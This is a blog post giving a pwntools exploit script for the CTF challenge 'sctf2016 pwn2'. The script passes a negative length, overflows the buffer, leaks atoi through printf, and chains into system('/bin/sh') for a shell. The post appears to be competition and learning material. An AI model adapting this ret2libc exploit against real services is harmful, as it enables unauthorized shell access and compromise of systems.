sctf2016 pwn2

最新推荐文章于 2023-05-23 11:24:29 发布

「已注销」

最新推荐文章于 2023-05-23 11:24:29 发布

阅读量189

点赞数

分类专栏： pwn

本文链接：https://blog.csdn.net/pondzhang/article/details/106062006

版权

pwn 专栏收录该内容

38 篇文章 0 订阅

订阅专栏

from pwn import *
from LibcSearcher import *
main = 0x080485B8
gotatoi = 0x0804A020
formatstr = 0x080486F8
pltprintf = 0x08048370
p = process('./pwn2_sctf_2016')
p.recvuntil("How many bytes do you want me to read? ")
p.sendline('-1')
p.recvuntil("data!\n")
payload = 48*'a' + p32(pltprintf)  + p32(main)  + p32(formatstr) + p32(gotatoi)
p.sendline(payload)
p.recvuntil("You said: ")
p.recvuntil("You said: ")
realatoi = u32(p.recv(4).ljust(4,'\x00'))
libc = LibcSearcher('atoi', realatoi)
libcbase = realatoi - libc.dump('atoi')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
p.recvuntil("How many bytes do you want me to read? ")
p.sendline('-1')
p.recvuntil("data!\n")
payload = 48*'a' + p32(system)  + p32(main)  + p32(binsh)
p.sendline(payload)
p.interactive()